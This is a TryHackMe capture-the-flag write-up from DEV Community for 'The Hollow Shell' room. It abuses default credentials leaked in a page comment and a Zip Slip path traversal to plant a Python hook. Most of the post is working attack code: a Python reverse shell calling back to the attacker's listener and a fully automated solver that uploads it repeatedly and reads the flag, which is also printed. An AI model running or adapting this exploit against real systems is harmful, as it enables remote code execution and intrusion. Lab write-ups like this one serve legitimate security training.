DEV Community

Cover image for [TryHackMe Writeup] The Hollow Shell
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] The Hollow Shell

The Hollow Shell (Hacker Holidays · Byte Lotus) — How to Solve

Target: http://<MACHINE_IP>:5000 (web on port 5000)
Category: Web · Medium · 90 pts
Answer format: ***{***_*******_****_*_*****}
FLAG: THM{z1p_sl1pp3d_1nt0_a_sh3ll} (verified end-to-end)

TL;DR

  1. Login page source comment leaks default creds: concierge / StayNoticed2024!.
  2. The portal lets you upload a .zip "shell" (must contain shell.json manifest with name + assets).
  3. Asset types are validated (png jpg gif svg css json) — but ZIP entry paths are NOT sanitized → classic Zip Slip (../../).
  4. Zip Slip writes anywhere in the app root (/var/www/conch): ../../static/x.css proves it; ../../hooks/callback.py drops a Python hook.
  5. A theme worker auto-executes Python files in the app-root hooks/ directory after upload.
  6. The hook connects back to your listener, spawning a bash shell as roomservicecat /home/roomservice/flag.txt.

FLAG: THM{z1p_sl1pp3d_1nt0_a_sh3ll}

One-command solver

python solve_hollow_shell.py http://<MACHINE_IP>:5000
Enter fullscreen mode Exit fullscreen mode

Nothing is hardcoded: creds are parsed from the login page's HTML comment, the attacker IP is auto-detected from the interface that routes to the target, the listener is raised before the first upload, and the zip-slip reverse-shell hook is re-uploaded several times to ride out worker timing.

Steps in detail

1. Login

Source comment on /:

<!--
     Byte Lotus // internal display-manager portal
     New on the floor team? IT seeds every property with the same
     starter login until you set your own:
         user: concierge
         pass: StayNoticed2024!
     (rotate it from Settings on first sign-in — most people forget)
-->
Enter fullscreen mode Exit fullscreen mode

2. Understand the shell format

Upload endpoint /upload (multipart, field shell). Required: shell.json:

{"name": "whatever", "assets": []}
Enter fullscreen mode Exit fullscreen mode

Allowed asset types are enforced (e.g. exploit.py"Shell rejected: asset type not allowed").

3. Prove Zip Slip

with zipfile.ZipFile("proof.zip", "w") as z:
    z.writestr("shell.json", json.dumps({"name": "proof", "assets": []}))
    z.writestr("../../static/zipslip-proof.css", "ZIP_SLIP_CONFIRMED\n")
Enter fullscreen mode Exit fullscreen mode

Upload → GET /static/zipslip-proof.cssZIP_SLIP_CONFIRMED. Extraction base is shells/<hash>/; two levels up (../../) lands at the app root (/var/www/conch, containing static/, hooks/, shells/).

4. Drop a reverse-shell hook

callback = '''import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("YOUR_IP", 4444))
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
'''

with zipfile.ZipFile("rev.zip", "w") as z:
    z.writestr("shell.json", json.dumps({"name": "shoreline-update", "assets": []}))
    z.writestr("../../hooks/callback.py", callback)
Enter fullscreen mode Exit fullscreen mode

5. Catch the shell, grab the flag

  1. Start your listener BEFORE uploading (the worker may run the hook within seconds of the upload finishing).
  2. Upload; if nothing connects within ~30 s, re-upload the same zip a few times — the worker's sweep timing varies per instance.
  3. On connect, send id and cat /home/roomservice/flag.txt:
$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
$ cat /home/roomservice/flag.txt
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
Enter fullscreen mode Exit fullscreen mode

FLAG: THM{z1p_sl1pp3d_1nt0_a_sh3ll}

**Operational notes (learned the hard way)

**

  • The hook runs as roomservice on the app host (/var/www/conch); no privesc needed.
  • Hook files dropped via earlier attempts persist in hooks/ — the worker executes every .py it finds there; every re-upload simply overwrites callback.py.
  • Do not name a Python hook hook.py with bash content: the worker invokes hooks with python3, so pure-Python payloads are required.

Key takeaways

  • Whitelisting upload extensions ≠ safe: validate every archive entry path too, or Zip Slip bypasses the whitelist entirely.
  • A "hooks directory auto-executed by a worker" turns arbitrary file write into instant RCE.
  • Always leak/replace default creds — the HTML comment hands you the portal.

Files

  • solve_hollow_shell.py — automatic solver: python solve_hollow_shell.py http://<IP>:5000 → login → zip-slip reverse-shell hook → listener → flag.
  • image_prompt_hollow_shell.txt — AI thumbnail prompt (6 panels).
  • The Hollow Shell.webp — room cover art.
import sys
import re
import io
import json
import socket
import time
import threading
import zipfile

import requests

sys.stdout.reconfigure(encoding="utf-8", errors="replace")

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://10.49.162.152:5000"
LPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 4444


def target_ip():
    return TARGET.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]


def my_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect((target_ip(), 80))
        ip = s.getsockname()[0]
    finally:
        s.close()
    return ip


def extract_creds():
    r = requests.get(TARGET, timeout=15)
    comment = re.findall(r"<!--(.*?)-->", r.text, re.S)
    if not comment:
        raise SystemExit("[-] no HTML comment with creds found")
    u = re.search(r"user:\s*(\S+)", comment[0])
    p = re.search(r"pass:\s*(\S+)", comment[0])
    if not u or not p:
        raise SystemExit("[-] creds not in comment")
    return u.group(1), p.group(1)


def pty_hook(lhost, lport):
    return f'''import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{lhost}", {lport}))
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
'''


def listener(port, seconds, out):
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", port))
    srv.listen(10)
    srv.settimeout(10)
    end = time.time() + seconds
    while time.time() < end:
        try:
            conn, addr = srv.accept()
        except socket.timeout:
            continue
        print(f"[+] connection from {addr}")
        try:
            conn.settimeout(1.5)
            for cmd in [b"id\n", b"cat /home/roomservice/flag.txt\n"]:
                try:
                    conn.send(cmd)
                except OSError:
                    break
                dl = time.time() + 5
                while time.time() < dl:
                    try:
                        c = conn.recv(65535)
                        if not c:
                            break
                        out.append(c)
                    except socket.timeout:
                        break
                    except OSError:
                        break
            if b"THM{" in b"".join(out):
                m = re.search(rb"THM\{[^}]+\}", b"".join(out))
                print(f"\n[+] FLAG: {m.group(0).decode()}")
        finally:
            try:
                conn.close()
            except OSError:
                pass


def main():
    user, password = extract_creds()
    print(f"[*] creds from page comment: {user} / {password}")
    lhost = my_ip()
    print(f"[*] attacker IP: {lhost}")

    out = []
    t = threading.Thread(target=listener, args=(LPORT, 480, out), daemon=True)
    t.start()
    time.sleep(2)
    print(f"[*] listener on 0.0.0.0:{LPORT} up")

    s = requests.Session()
    r = s.post(f"{TARGET}/login", data={"username": user, "password": password}, timeout=15)
    if "/dashboard" not in r.url and "dashboard" not in r.text:
        raise SystemExit("[-] login failed")

    for i in range(15):
        manifest = {"name": f"upd-{i}", "assets": []}
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w") as z:
            z.writestr("shell.json", json.dumps(manifest))
            z.writestr("../../hooks/callback.py", pty_hook(lhost, LPORT))
        buf.seek(0)
        r = s.post(f"{TARGET}/upload", files={"shell": (f"rev{i}.zip", buf, "application/zip")}, timeout=30)
        print(f"[*] upload {i}: {r.status_code}")
        if r.status_code != 200:
            print("   ", r.text[:300])
        if b"THM{" in b"".join(out):
            break
        time.sleep(20)

    t.join(timeout=10)
    data = b"".join(out).decode(errors="replace")
    m = re.search(r"THM\{[^}]+\}", data)
    if m:
        print(f"\n[+] FLAG: {m.group(0)}")
    else:
        print("\n[!] no flag captured. raw output so far:")
        print(data[-1500:])


if __name__ == "__main__":
    main()

Enter fullscreen mode Exit fullscreen mode

Top comments (0)